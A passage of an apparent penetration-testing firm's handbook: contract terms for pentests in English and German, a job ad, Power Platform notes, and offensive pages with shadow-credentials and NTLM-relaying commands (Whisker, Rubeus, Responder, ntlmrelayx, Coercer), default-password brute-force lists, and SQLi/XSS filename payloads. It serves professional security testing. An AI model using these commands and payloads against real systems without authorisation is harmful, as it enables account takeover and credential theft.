proceedings have not been opened and this party neither makes advance payments at the request of the contractor nor provides suitable security before the contractor performs and the poor financial circumstances of the other contracting party were not known when the contract was concluded. ## Mediation 45\. In the event of disputes arising from this contract that cannot be settled amicably, the contracting parties agree by mutual consent to use registered mediators (Austrian Civil Mediation Act) specializing in commercial mediation from the list of the Austrian Ministry of Justice to settle the conflict out of court. If no agreement can be reached on the selection of business mediators or on the content of the mediation, legal action will be initiated at the earliest one month after the failure of the negotiations. 46\. In the event that mediation does not take place or is terminated, Austrian substantive law shall apply in any legal proceedings initiated, to the exclusion of the conflict of law rules of private international law and the UN Convention on Contracts for the International Sale of Goods. 47\. All necessary expenses incurred as a result of prior mediation, in particular also those for legal advisors consulted, can be claimed as "pre-litigation costs" in court or arbitration proceedings as agreed. ## Final provisions 48\. The contracting parties confirm that they have provided all information in the contract conscientiously and truthfully and undertake to notify each other immediately of any changes. 49\. Amendments to the contract and these GTC must be made in writing; the same applies to any waiver of this formal requirement. Verbal collateral agreements do not exist. 50\. This contract shall be governed by Austrian substantive law to the exclusion of the conflict of law rules of private international law and the UN Convention on Contracts for the International Sale of Goods. The place of performance is the location of the Contractor's professional establishment. The courts in Vienna (Austria) shall have exclusive jurisdiction for disputes. ::: warning This service description was machine-translated to English and shall be governed exclusively by the [German language version](/de/servicebeschreibung.md){target=\_blank} the translation into English is for illustrative purposes only. ::: As of November 27, 2023 --- --- url: 'https://handbook.syslifters.com/de/servicebeschreibung.md' description: >- Servicebeschreibung für Penetration-Tests und Phishing-Simulationen inkl. Umfang, Mitwirkungspflichten, Geheimhaltung, Haftung und Reporting. --- # Servicebeschreibung Penetration-Tests ## Allgemeine Grundlagen und Geltungsbereich 1\. Für sämtliche Rechtsgeschäfte im Zusammenhang mit Penetration-Tests und Phishing-Simulationen zwischen dem Auftraggeber und dem Auftragnehmer (Unternehmensberater) – im Folgenden wird nur die Bezeichnung Auftragnehmer verwendet - gilt ausschließlich diese Servicebeschreibung. Maßgeblich ist jeweils die zum Zeitpunkt des Vertragsabschlusses gültige Fassung. 2\. Auftraggeber kann nur ein Unternehmer im Sinne des § 1 des Österreichischen Konsumentenschutzgesetzes (KSchG) sein. 3\. Diese Servicebeschreibung gilt auch für alle künftigen Vertragsbeziehungen im Zusammenhang mit Penetration-Tests und Phishing-Simulationen, somit auch dann, wenn bei Zusatzverträgen darauf nicht ausdrücklich hingewiesen wird. 4\. Entgegenstehende Allgemeine Geschäftsbedingungen des Auftraggebers sind ungültig, es sei denn, diese werden vom Auftragnehmer ausdrücklich schriftlich anerkannt. 5\. Für den Fall, dass einzelne Bestimmungen dieser Servicebeschreibung unwirksam sein und/oder werden sollten, berührt dies die Wirksamkeit der verbleibenden Bestimmungen und der unter ihrer Zugrundelegung geschlossenen Verträge nicht. Die unwirksame ist durch eine wirksame Bestimmung, die ihr dem Sinn und wirtschaftlichen Zweck nach am nächsten kommt, zu ersetzen. ## Ziel und Umfang von Penetration-Tests 6\. Das Ziel von Penetration-Tests ist die Identifizierung von technischen Risiken und Schwachstellen der Zielsysteme. 7\. Im Zuge der Durchführung von Penetration-Tests werden keine Maßnahmen durchgeführt, die die Nichtverfügbarkeit der Zielsysteme zum Zweck haben (Denial of Service, Distributed Denial of Service), es sei denn im Angebot ist explizit eine derartige Dienstleistung angeboten. 8\. Der Umfang des konkreten Penetration-Tests wird im Einzelfall vertraglich vereinbart und ist zeitlich limitiert ("Time Box"). Der Auftragnehmer sichert nicht zu, sämtliche vorhandene Sicherheitslücken auch tatsächlich aufzudecken. Dies ist bedingt durch die limitierten zeitlichen Ressourcen und den eingeschränkten Kenntnisstand der Penetration-Tester zu IT-Infrastruktur, Software, Quellcode, Benutzer, etc. Die Offenlegung von Systeminterna, die Bereitstellung von Test-Benutzern und die umfassende Kooperation des Auftraggebers mit dem Auftragnehmer erhöhen die Effizienz des Penetration-Tests. 9\. Der Auftraggeber stellt dem Auftragnehmer spätestens drei Werktage vor Beginn der Dienstleistung schriftlich (z. B. per E-Mail) die Liste der Zielsysteme ("Scope"; IP-Adressen, Domains, Subdomains, Standorte, E-Mail-Adressen, etc.) zur Verfügung. Mit der Übermittlung des Scopes geht die implizite Erlaubnis des Auftraggebers für die Durchführung intrusiver Penetration-Tests einher ("Permission to Attack"). Der Auftraggeber garantiert die Befugnis zu haben, die genannten Zielsysteme intrusiv attackieren zu lassen. ## Ziel und Umfang von Phishing-Simulationen 10\. Das Ziel von Phishing-Simulationen ist die Schaffung und Erhebung des Security-Bewusstseins der seitens des Auftraggebers definierten Zielgruppe. 11\. Der Umfang und die genaue Ausgestaltung der Phishing-Simulation wird im Einvernehmen zwischen Auftraggeber und Auftragnehmer vereinbart. 12\. Der Auftraggeber stellt dem Auftragnehmer spätestens drei Werktage vor Beginn der Dienstleistung schriftlich (z. B. per E-Mail) die Liste der E-Mail-Adressen der Empfänger ("Scope") zur Verfügung. Mit der Übermittlung des Scopes geht die implizite Erlaubnis des Auftraggebers für die Durchführung von Phishing-Simulationen einher ("Permission to Attack"). Der Auftraggeber garantiert die Befugnis zu haben, Phishing-Simulationen mit dem übermittelten Scope durchführen zu lassen. 13\. Der Auftraggeber sorgt dafür, dass sämtliche technische Maßnahmen zur Blockade unerwünschter E-Mails (SPAM-Schutz, Phishing-Prevention, Anti-Viren-Systeme, Mail-Security-Lösungen, etc) während des Durchführungszeitraums für die vonseiten des Auftraggebers zu nennenden Absenderadressen deaktiviert sind. Andernfalls kann die Zustellung der Phishing-Simulation an die Empfänger und damit die erfolgreiche Durchführung der Dienstleistung nicht gewährleistet werden. ## Aufklärungs- und Mitwirkungspflichten des Auftraggebers 14\. Der Leistungszeitraum wird im Einvernehmen zwischen Auftragnehmer und Auftraggeber vereinbart. Die Vorlaufzeit zwischen Zustandekommen des Vertrages und Beginn des Leistungszeitraums kann bis zu zwölf Wochen betragen. 15\. Der Auftraggeber sorgt dafür, dass dem Auftragnehmer auch ohne dessen besondere Aufforderung alle für die Erfüllung und Ausführung der Dienstleistung notwendigen Unterlagen, Zugänge, Benutzerkonten, Berechtigungen und Betriebsmittel spätestens drei Werktage vor Beginn der Dienstleistung vorgelegt werden. 16\. Der Auftraggeber sorgt dafür, dass die organisatorischen Rahmenbedingungen bei Erfüllung der Dienstleistung ein möglichst ungestörtes, dem raschen Fortgang des Dienstleistungsprozesses förderliches Arbeiten erlauben. 17\. Der Auftraggeber sorgt dafür, dass alle notwendigen Stellen (ggf. seine Mitarbeiter, die eingerichtete Arbeitnehmervertretung (Betriebsrat), etc.) bereits vor Beginn der Tätigkeit des Auftragnehmers von dieser informiert werden. ## Geheimhaltung / Datenschutz 18\. Der Auftragnehmer verpflichtet sich zu unbedingtem Stillschweigen über alle ihm zur Kenntnis gelangenden geschäftlichen Angelegenheiten, insbesondere Geschäfts- und Betriebsgeheimnisse sowie jedwede Information, die er über Art, Betriebsumfang und praktische Tätigkeit des Auftraggebers erhält. 19\. Weiters verpflichtet sich der Auftragnehmer, über sämtliche Informationen und Umstände, die ihm im Zusammenhang mit der Erfüllung der beauftragten Dienstleistung zugegangen sind, Dritten gegenüber Stillschweigen zu bewahren. 20\. Der Auftragnehmer ist von der Schweigepflicht gegenüber allfälligen Gehilfen und Stellvertretern, denen er sich bedient, entbunden. Er hat die Schweigepflicht aber auf diese vollständig zu überbinden und haftet für deren Verstoß gegen die Verschwiegenheitsverpflichtung wie für einen eigenen Verstoß. 21\. Sollten im Zuge der Dienstleistung Sicherheitslücken in Komponenten (z. B. Software oder Hardware) von Drittanbietern identifiziert werden, ist der Auftragnehmer berechtigt, den Hersteller darüber zu informieren, CVE-(Common Vulnerabilities and Exposures-)Nummern zu beantragen und im Rahmen eines Responsible Disclosure-Prozesses zu veröffentlichen. Eine Veröffentlichung erfolgt unter Berücksichtigung des Behebungsstatus und Risikos des Auftraggebers. 22\. Die Schweigepflicht reicht unbegrenzt auch über das Ende dieses Vertragsverhältnisses hinaus. Ausnahmen bestehen im Falle gesetzlich vorgesehener Aussageverpflichtungen. 23\. Der Auftragnehmer ist berechtigt, ihm anvertraute personenbezogene Daten im Rahmen der Zweckbestimmung des Vertragsverhältnisses zu verarbeiten. Der Auftraggeber leistet dem Auftragnehmer Gewähr, dass hiefür sämtliche gesetzliche Maßnahmen getroffen worden sind. ## Haftung / Schadenersatz 24\. Die Durchführung von Penetration-Tests kann die Integrität und Verfügbarkeit der Zielsysteme und/oder verbundener Systeme beeinträchtigen. Der Auftraggeber sorgt dafür, dass die Integrität und Verfügbarkeit während der Durchführung der Penetration-Tests jederzeit wiederhergestellt werden können (z. B. über Datensicherungen, etc.). Der Auftragnehmer haftet nicht für Unterbrechungen, Ausfälle und/oder Datenverluste, auch wenn diese von ihm herbeigeführt wurden. 25\. Der Auftragnehmer haftet dem Auftraggeber für Schäden – ausgenommen für Personenschäden - nur im Falle groben Verschuldens (Vorsatz oder grobe Fahrlässigkeit). Dies gilt sinngemäß auch für Schäden, die auf vom Auftragnehmer beigezogene Dritte zurückgehen. 26\. Die Haftung für Folgeschäden, entgangenen Gewinn, ausgebliebene Einsparungen, sowie Schäden aus Ansprüchen Dritter ist ausgeschlossen. Der Auftraggeber hält den Auftragnehmer hinsichtlich sämtlicher von Dritter Seite erhobener Ansprüche in vollem Umfang schad- und klaglos. 27\. Schadenersatzansprüche des Auftraggebers können nur innerhalb von sechs Monaten ab Kenntnis von Schaden und Schädiger, spätestens aber innerhalb von drei Jahren nach dem anspruchsbegründenden Ereignis gerichtlich geltend gemacht werden. 28\. Der Auftraggeber hat jeweils den Beweis zu erbringen, dass der Schaden auf ein Verschulden des Auftragnehmers zurückzuführen ist. 29\. Sofern der Auftragnehmer die beauftragte Dienstleistung unter Zuhilfenahme Dritter erbringt und in diesem Zusammenhang Gewährleistungs- und/oder Haftungsansprüche gegenüber diesen Dritten entstehen, tritt der Auftragnehmer diese Ansprüche an den Auftraggeber ab. Der Auftraggeber wird sich in diesem Fall vorrangig an diese Dritten halten. ## Berichterstattung 30\. Den Schlussbericht erhält der Auftraggeber spätestens vier Wochen nach Abschluss des Auftrages. Der Schlussbericht wird elektronisch in verschlüsselter Form übermittelt. Die zum Öffnen benötigten Zugangsdaten (z. B. Passwort) werden über einen zweiten Kanal (z. B. Signal Messenger, SMS) übermittelt. 31\. Der Auftragnehmer ist bei der Erbringung der beauftragten Dienstleistung weisungsfrei, handelt nach eigenem Gutdünken und in eigener Verantwortung. Er ist an keinen bestimmten Arbeitsort und keine bestimmte Arbeitszeit gebunden. 32\. Muss die Leistungserbringung auf Verlangen des Auftraggebers außerhalb der gewöhnlichen Arbeitszeit (Arbeitstage Montag bis Freitag zwischen 08.00 und 18.00 Uhr MEZ) durchgeführt werden, so wird für Sonntage und Feiertage ein Zuschlag von 100%, für Samstage sowie montags bis freitags zwischen 18.00 und 08.00 Uhr MEZ ein Zuschlag von 50% in Rechnung gestellt. 33\. Wird die Leistung durch den Auftragnehmer in einer Betriebsstätte des Auftraggebers durchgeführt, so stellt der Auftraggeber kostenlos eine geeignete Arbeitsumgebung zur Verfügung. Diese Arbeitsumgebung umfasst eine dem Stand der Technik entsprechende Büroinfrastruktur inklusive Internetzugang und entspricht der jeweils lokal gültigen Arbeitsstättenverordnung. ## Stellvertretung 34\. Der Auftragnehmer ist berechtigt, die ihm obliegenden Aufgaben ganz oder teilweise durch Dritte erbringen zu lassen. Die Bezahlung des Dritten erfolgt ausschließlich durch den Auftragnehmer selbst. Es entsteht kein wie immer geartetes direktes Vertragsverhältnis zwischen dem Dritten und dem Auftraggeber. ## Honorar 35\. Dem Auftragnehmer steht für die von ihm erbrachten Leistungen (inklusive Reise- und Wartezeiten) ein Honorar gemäß der einzelvertraglichen Vereinbarung zwischen dem Auftraggeber und dem Auftragnehmer zu. Der Auftragnehmer ist berechtigt, dem Arbeitsfortschritt entsprechend Zwischenabrechnungen zu legen. Das Honorar ist 30 Tage ab Rechnungsdatum zur Zahlung fällig, soweit sich aus Rechnung oder Auftragsbestätigung kein anderes Zahlungsziel ergibt. 36\. Alle Zahlungen, die aus dem Vertrag heraus entstehen, werden in EURO geleistet. 37\. Bei Zahlungsverzug werden auch ohne Mahnung Verzugszinsen in der Höhe von 9%, sowie Mahnspesen in der Höhe von EURO 20,00 pro Mahnung fällig. 38\. Der Auftragnehmer wird jeweils eine Rechnung mit allen gesetzlich erforderlichen Merkmalen ausstellen. 39\. Anfallende Barauslagen, Spesen, Reisekosten, etc. sind gegen Rechnungslegung des Auftragnehmers vom Auftraggeber zusätzlich zu ersetzen. 40\. Die Verrechnung der erbrachten Leistungen erfolgt nach tatsächlichem Aufwand. 41\. Dem Auftragnehmer steht es frei, kurzfristig (weniger als 14 Tage vor vereinbarter Durchführung) durch den Auftraggeber abgesagte oder verschobene Projekte und/oder Projektabschnitte pauschal mit 80% des veranschlagten Honorars zu verrechnen. ## Elektronische Rechnungslegung 42\. Der Auftragnehmer ist berechtigt, dem Auftraggeber Rechnungen auch in elektronischer Form zu übermitteln. Der Auftraggeber erklärt sich mit der Zusendung von Rechnungen in elektronischer Form durch den Auftragnehmer ausdrücklich einverstanden. ## Dauer des Vertrages 43\. Dieser Vertrag endet grundsätzlich mit dem Abschluss des Projekts und der entsprechenden Rechnungslegung. 44\. Der Vertrag kann dessen ungeachtet jederzeit aus wichtigen Gründen von jeder Seite ohne Einhaltung einer Kündigungsfrist gelöst werden. Als wichtiger Grund ist insbesondere anzusehen, * wenn eine Vertragspartei wesentliche Vertragsverpflichtungen verletzt, oder * wenn eine Vertragspartei in Zahlungsverzug gerät, oder * wenn berechtigte Bedenken hinsichtlich der Bonität einer Vertragspartei, über die kein Insolvenzverfahren eröffnet ist, bestehen und diese auf Begehren des Auftragnehmers weder Vorauszahlungen leistet noch vor Leistung des Auftragnehmers eine taugliche Sicherheit leistet und die schlechten Vermögensverhältnisse der anderen Vertragspartei bei Vertragsabschluss nicht bekannt waren. ## Mediation 45\. Für den Fall von Streitigkeiten aus diesem Vertrag, die nicht einvernehmlich geregelt werden können, vereinbaren die Vertragsparteien einvernehmlich zur außergerichtlichen Beilegung des Konfliktes eingetragene Mediatoren (Österreichisches ZivMediatG) mit dem Schwerpunkt WirtschaftsMediation aus der Liste des Österreichischen Justizministeriums beizuziehen. Sollte über die Auswahl der WirtschaftsMediatoren oder inhaltlich kein Einvernehmen hergestellt werden können, werden frühestens ein Monat ab Scheitern der Verhandlungen rechtliche Schritte eingeleitet. 46\. Im Falle einer nicht zustande gekommenen oder abgebrochenen Mediation, gilt in einem allfällig eingeleiteten Gerichtsverfahren materielles österreichisches Recht unter Ausschluss der Verweisungsnormen des internationalen Privatrechts sowie des UN-Kaufrechts. 47\. Sämtliche aufgrund einer vorherigen Mediation angelaufenen notwendigen Aufwendungen, insbesondere auch jene für beigezogene Rechtsberater, können vereinbarungsgemäß in einem Gerichts- oder Schiedsgerichtsverfahren als „vorprozessuale Kosten" geltend gemacht werden. ## Schlussbestimmungen 48\. Die Vertragsparteien bestätigen, alle Angaben im Vertrag gewissenhaft und wahrheitsgetreu gemacht zu haben und verpflichten sich, allfällige Änderungen wechselseitig umgehend bekannt zu geben. 49\. Änderungen des Vertrages und dieser AGB bedürfen der Schriftform; ebenso ein Abgehen von dieser Formerfordernis. Mündliche Nebenabreden bestehen nicht. 50\. Auf diesen Vertrag ist materielles österreichisches Recht unter Ausschluss der Verweisungsnormen des internationalen Privatrechts sowie des UN-Kaufrechts anwendbar. Erfüllungsort ist der Ort der beruflichen Niederlassung des Auftragnehmers. Für Streitigkeiten sind ausschließlich die Gerichte in Wien (Österreich) zuständig. **Stand:** 27. November 2023 --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/lateral-movement/shadow-credentials.md description: Abusing msDS-KeyCredentialLink (key trust) to request TGTs for target objects. --- # Shadow credentials * [Blog](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) * [Whisker](https://github.com/eladshamir/Whisker) * [Lateral Movement – WebClient – Penetration Testing Lab](https://pentestlab.blog/2021/10/20/lateral-movement-webclient/) Usually, Kerberos authentication works with username and passwords, but you can also use private and public keys. If you are able to write to an object's `msDS-KeyCredentialLink` attribute, you are able to request TGTs for that object. **Requirements**: * Ability to write to `msDS-KeyCredentialLink` of an object * Domain must have **ADCS** and a CA configured * Domain requires a DC Server 2016 that supports `PKINIT` ```powershell # List keys from target object where we can write to msDS-KeyCredentialLink, e.g. dc01$ in this case Whisker.exe list /target:\"dc01$\" # Add new key material to the DC01$ account, Whisker will spit out a Rubeus command Whisker.exe add /target:\"dc01$\" # Ask for TGT, add /enctype:aes256 for better opsec Rubeus.exe asktgt /user:\"dc01$\" /certificate:\"CERT\" /password:\"password\" /nowrap /enctype:aes256 # Now we are able to access the shares on the target computer # Remove abused key material (+ restore original content) Whisker.exe remove /target:\"dc01$\" /deviceid:\"device_id\" ``` ::: tip Local privilege escalation variant If you are looking for an LPE abusing shadow credentials, see [LPE via Kerberos relaying](../privilege-escalation/kerberos-relaying#path-3-krbrelay-shadow-credentials). ::: --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/wordlists/small-bruteforce-lists.md description: Compact default credential lists for quick checks across common services. --- # Small brute force password lists Small, high-signal defaults to try early when you suspect **weak/default credentials**. Each entry is `username:password` (blank password is represented as `user:`). ## SSH ```txt root:admin root:support ubnt:ubnt user:1234 support:support admin:123456 root:!@ root:wubao admin:12345 admin:admin01 admin:default default:1 admin:1234 operator:operator admin:admin123 1234:1234 default:default ftp:ftp ftp:123456 osmc:osmc admin:ubnt admin:& admin:1234567890 telecomadmin:nE7jA%5m admin:! admin:asdf user:11111111 camera: admins:12345 cron:1234 tplink:tplink root:123456789 root:1 root:111111 root:12345678 root:123qwe root:1234567890 pi:raspberry root:123 root:abc123 root:123123 root:abcd1234 root:1q2w3e4r root:1234567 root:1q2w3e4r5t root:1qaz2wsx root:666666 root:admin123 root:alpine root:ubnt root:123.com root:1q2w3e root:1qazxsw2 root:adminadmin root:12qwaszx root:abc@123 root:a123456 root:cisco ``` ## Telnet ```txt enable:system shell:sh shell:bah system:shell admin:1234 root:aquario root:vizxv support:support root:xc3511 root:Zte521 root:5up guest:12345 default:antslq service:service admin:1111 admin:smcadmin ubnt:ubnt supervisor:supervisor tech:tech 888888:888888 666666:666666 mother:fucker admin1:password administrator:1234 Administrator:admin supervisor:zyad1234 guest:friend Admin:5up default:S2fGqNFs default:OxhlwSG8 QUIT:^Y^Y^B default:default enable:linuxshell default:tlJwpbo6 mg3500:merlin telnetadmin:telnetadmin vstarcam2015:20150602 guest:123456 e8telnet:e8telnet QUIT:^Y^Y^Bv bah:QJGNN" ``` ## FTP ```txt login:access root: :1234 rapport:r@p8p0r+ ``` ## All other services ```txt admin:password admin:admin admin:secret admin:guest admin:test admin:12345 admin:123456 user:pass user:password guest:guest root:root root:toor test:test gast:gast postgres:admin user:user root:1234 root:123456 root:12345 root:default root:password CUAdmin:CUAdmin admin:trilithic ``` ## Web forms ```txt admin:prom-operator branding:branding ``` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/lateral-movement/smb-relaying.md description: Methodology and tooling for NTLM relaying attacks over SMB in AD environments. --- # SMB relaying Prerequisites for SMB relaying (external link) ## Methodology To relay to SMB, we have the following tools at our disposal: * [Responder](https://github.com/lgandx/Responder) to poison NetBIOS, LLMNR and MDNS to retrieve NTLM hashes to either crack them offline or use them for NTLM relaying ([our Windows version](https://github.com/Syslifters/responder)). * [ntlmrelayx](https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py) to relay incoming traffic to other hosts and protocols and spawn e.g. an SMB shell. * [SharpRelay](https://github.com/pkb1s/SharpRelay), or [our version](https://github.com/Syslifters/SharpRelay) to divert traffic destined for SMB to another port on a Windows machine. Useful, when we want to use Responder or ntlmrelayx on a Windows machine. * [Coercer.exe](https://github.com/Syslifters/offsec-tools/blob/main/bin/Coercer.exe) (upstream [Coercer](https://github.com/p0dalirius/coercer)) to coerce other hosts; on Linux, `pip install coercer` and `python -m coercer`. > You can use [Respotter](https://github.com/lawndoc/Respotter) in your environment to detect active poisoning. ```sh # Install responder git clone https://github.com/lgandx/Responder.git cd Responder pip3 install -r requirements.txt # Run responder, deactivate the builtin smb and http server in Responder.conf sudo python3 Responder.py -I eth0 # Run ntlmrelayx to relay to targets listed in targets.txt python ./examples/ntlmrelayx.py -smb2support -tf targets.txt -i # Optionally, coerce other hosts to our attacker machine (Linux) python -m coercer coerce -u {username} -p {password} -t {ip} # Windows: Coercer.exe coerce -u {username} -p {password} -t {ip} ``` On Windows you can build [our version](https://github.com/Syslifters/responder). To use it, you also need [SharpRelay (Syslifters version)](https://github.com/Syslifters/SharpRelay) and place the [`Responder.conf`](https://github.com/Syslifters/responder/blob/master/Responder.conf) next to the executable. This way, we get NTLM hashes directly into Responder. ```powershell # Run SharpRelay in a dedicated process (requires admin) SharpRelay.exe svcname C:\\Path\\To\\WinDivert64.sys 445 8445 # Run Responder to discover NTLM hashes (or poison MDNS for more results) Responder.exe -I Ethernet ``` > Make sure that the Windows Firewall is not active ## SharpRelay To enable relaying on Windows hosts, we can use SharpRelay. This will divert incoming traffic to another local port using WinDivert. Admin access is required. [Syslifters version](https://github.com/Syslifters/SharpRelay) The absolute path must be used when specifying the driver, e.g.: ```powershell SharpRelay.exe mynewservice C:\\Path\\To\\WinDivert64.sys 445 8445 ``` ```powershell python ./examples/ntlmrelayx.py -smb2support --smb-port 8445 \"-t\" smb://10.0.0.3 ``` ```powershell Coercer.exe coerce -u {username} -p {password} -t {ip} ``` ::: tip If SharpRelay crashes, you don't always need to restart the machine. Sometimes it is sufficient to just remove the created service and create a fresh one: ```powershell SharpRelay.exe uninstall mynewservice ``` ::: ## ntlmrelayx troubleshooting When installing `ntlmrelayx` via pipx or other means, you may need the following `cryptography` and `pyOpenSSL` versions: ```powershell pip install cryptography==41.0.7 pip install pyOpenSSL==23.2.0 ``` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/socialsecuritynumbersgenerator.md description: Client-side generator for valid-format Austrian social security numbers. --- # Social security numbers generator Here you can generate valid Austrian national insurance numbers. The numbers are generated locally by JavaScript. There is no connection to real persons and no data is stored with us. Some national insurance numbers are assigned to real persons, others are not. The generated national insurance numbers meet the formal criteria. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/solutions-in-power-platform.md description: >- How solutions bundle apps, flows, tables, and security components for deployment and governance across environments. --- # Solutions in Power Platform ## 1. What is a solution in Power Platform? A solution is a container that groups together all components (like apps, flows, tables, columns, plugins, connections, etc.) that make up a Power Platform application. Think of a solution as a project folder for your business application — it keeps everything bundled together for: * Organization * Version control * Deployment across environments * Governance and reusability ## 2. What can be inside a solution A solution can include virtually any building block of the Power Platform, for example: | Component type | Examples | | --- | --- | | Apps | Canvas apps, model-driven apps | | Automations | Power Automate flows, business process flows | | Data structures | Dataverse tables, columns, relationships | | Security elements | Roles, teams, field security profiles | | User experience | Forms, views, dashboards | | Logic | Business rules, plug-ins, Power Fx expressions | | Environment variables | Connection references, API keys, URLs, constants | ## 3. Two types of solutions | Type | Description | Editable? | Typical use | | --- | --- | --- | --- | | Unmanaged solution | For development and configuration. Changes are live in the environment. | Yes | Build and customize your app here. | | Managed solution | Read-only packaged version of the solution for deployment (like a compiled app). | No | Deploy to test or production environments. | ### Typical lifecycle 1. Develop in an unmanaged solution in your Dev environment. 2. Export it as a managed solution. 3. Import the managed solution into Test or Production environments. ## 4. Why use solutions Solutions are essential for serious, maintainable Power Platform projects, because they let you: * Move apps and flows between environments (Dev/Test/Prod) * Version control your changes * Reuse components across projects * Apply governance and deployment automation (using tools like Azure DevOps or GitHub Actions) * Uninstall cleanly — managed solutions can be removed entirely if needed ## 5. Solution example Let’s say you’re building a helpdesk system. Inside your solution: * Canvas app: "Helpdesk Portal" * Model-driven app: "Ticket Management" * Dataverse tables: `Tickets`, `Departments`, `Employees` * Flows: "Send Email on Ticket Creation", "Close Ticket Reminder" * Security roles: "Support Agent", "Manager" * Environment variables: Email templates, API URLs You can then build and test in Dev, export as managed, and import into Prod. ## 6. Environment + solution relationship Solutions live within environments — but can be moved between them. Example structure: ``` Environment: Development ├── Solution: Helpdesk App (Unmanaged) ├── Solution: HR Portal (Unmanaged) └── Solution: Shared Components ``` Deployment: ``` Environment: Production ├── Solution: Helpdesk App (Managed) └── Solution: HR Portal (Managed) ``` ## 7. Solution components and dependencies Power Platform tracks dependencies automatically. If Component A depends on Component B (e.g., an app depends on a Dataverse table), you cannot remove or import one without the other unless you resolve the dependency. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/file-upload/sqli-xss-in-filename.md description: Basic payload examples when filenames are concatenated into SQL/HTML contexts. --- # SQLi and XSS payloads in filenames ## Examples * SQLi payloads in file name: `FileName'+AND+sleep(10)--+-.txt` * XSS payloads in file name: `FileName'>.txt` --- --- url: 'https://handbook.syslifters.com/de/pentesting-senior.md' description: >- Stellenausschreibung für einen Senior-Penetrationtester (remote, unbefristet) inkl. Aufgaben, Anforderungen und Bewerbung. --- Wir suchen einen Senior-Penetrationtester. **Rahmen**: 38.5h, m/w/d, remote\ **Dauer:** unbefristet\ **Vergütung:** Minimum 53.000 Euro brutto pro Jahr (angemessene Vergütung je nach Fähigkeiten und Kenntnissen) **Aufgaben:** * Selbstständige Durchführung von Pentests auf Webanwendungen und Active Directory-Umgebungen. * Selbstständige Durchführung von Scopings, Kick-Offs und Kundenpräsentationen. * Projekte werden je nach Anforderung remote (zumeist) oder beim Kunden vor Ort durchgeführt. * Erstellung von Berichten über die Ergebnisse der Pentests. * Zusammenarbeit mit anderen Pentestern in Projekten. * Eigenständige Weiterentwicklung von Kenntnissen im Bereich Penetration Testing. * Mitarbeit in der Entwicklung von Security-Produkten. **Anforderungen:** * Mind. 3 Jahre Erfahrung als Pentester * Profunde Kenntnisse in zumindest einem der Bereiche: * Webanwendungssicherheit * Active Directory-Sicherheit * Verständnis für verschiedene Angriffsszenarien und Sicherheitskonzepte. * Fähigkeit zur eigenständigen Problemlösung und analytisches Denkvermögen. * Selbstmotivation und Engagement. * Gute Englisch- und Deutschkenntnisse in Wort und Schrift. * Dauerhafter Wohnort in Österreich. **Vorteile:** * Selbstständiges, eigenverantwortliches Arbeiten. * Kleines Team mit größtem Know-How und kurzen Entscheidungswegen. * Remote-Arbeit mit täglichen Team-Meetings per Video-Call. Apply now --- --- url: 'https://handbook.syslifters.com/for-procurement.md' description: >- Procurement notes - billable expenses, time-based billing, cancellation terms, and where to find formal terms. --- # This could be important for procurement * In addition to the costs in our quotation, there could be cash outlays, expenses, travel expenses, etc. * We only charge for services actually rendered. If it turns out that we need less time, we charge accordingly less person days. * As soon as we have agreed on a time frame, we guarantee you this time frame and keep our capacities free for you. Orders cancelled at short notice (less than two weeks before the event) will be charged a flat rate of 80% of the estimated costs. Further information can be found in our [service description](/service-description.md). --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/tool-cheat-sheet.md description: Quick-reference commands for common Active Directory tooling. --- # Tool cheat sheet ## Rubeus Instead of LSASS handles, Rubeus uses Windows APIs, making it "less" noisy. > When dumping or requesting Kerberos tickets, use `/nowrap` to make copy/pasting easier. | Command | Privileges | Description | | --- | --- | --- | | `triage` | User/Admin | List Kerberos tickets of current session or all sessions (if admin rights are present) | | `dump` | User/Admin | Dump Kerberos tickets from current session or all sessions. You can add `\service:` / `/luid:` to only dump a specific ticket (use `Rubeus.exe triage` first). | | `monitor` | Admin | Actively monitor for tickets being cached and dump them: `Rubeus.exe monitor /interval:seconds /nowrap` (remember to stop it). | | `hash` | User | Create valid hashes for a user or machine account. Example: `hash /user:user /password:password /domain:domain` | | `asktgt` | User | Ask the DC for a valid TGT using NTLM or AES hash | | `request` | User | Ask the CA for a user certificate (supply both `/ca:` and `/template:`) | ```powershell # Request TGTs and put them into a netlogon session (password, rc4, aes hash, certificate) Rubeus.exe asktgt /createnetonly:cmd.exe /show /user:TODO /password:TODO Rubeus.exe asktgt /createnetonly:cmd.exe /show /user:TODO /rc4:TODO Rubeus.exe asktgt /createnetonly:cmd.exe /show /user:TODO /aes256:TODO Rubeus.exe asktgt /createnetonly:cmd.exe /show /user:TODO /certificate:C:\temp\leaked.pfx # Monitor / read tickets (e.g. kerberos delegation) Rubeus.exe monitor /nowrap /interval:30 Rubeus.exe triage /nowrap ``` ### Convert HEX computer machine password to AES key for Rubeus ```python #!/usr/bin/env python3 from binascii import unhexlify, hexlify from impacket.krb5 import constants from impacket.krb5.crypto import Key, string_to_key from Cryptodome.Hash import MD4 allciphers = { 'rc4_hmac_nt': int(constants.EncryptionTypes.rc4_hmac.value), 'aes128_hmac': int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), 'aes256_hmac': int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) } def printKerberosKeys(password, salt): for name, cipher in allciphers.items(): if cipher == 23: md4 = MD4.new() md4.update(password) key = Key(cipher, md4.digest()) else: fixedPassword = password.decode('utf-16-le', 'replace').encode('utf-8', 'replace') key = string_to_key(cipher, fixedPassword, salt) print(f' * {name}: {hexlify(key.contents).decode(\"utf-8\")}') def printMachineKerberosKeys(domain, hostname, hexpassword): salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), hostname.lower().encode('utf-8'), domain.lower().encode('utf-8')) rawpassword = unhexlify(hexpassword) print(f'{domain.upper()}\\\\{hostname.upper()}$') print(f' * Salt: {salt.decode(\"utf-8\")}') printKerberosKeys(rawpassword, salt) def printUserKerberosKeys(domain, username, rawpassword): salt = b'%s%s' % (domain.upper().encode('utf-8'), username.encode('utf-8')) rawpassword = rawpassword.encode('utf-16-le') print(f'{domain.upper()}\\\\{username}') print(f' 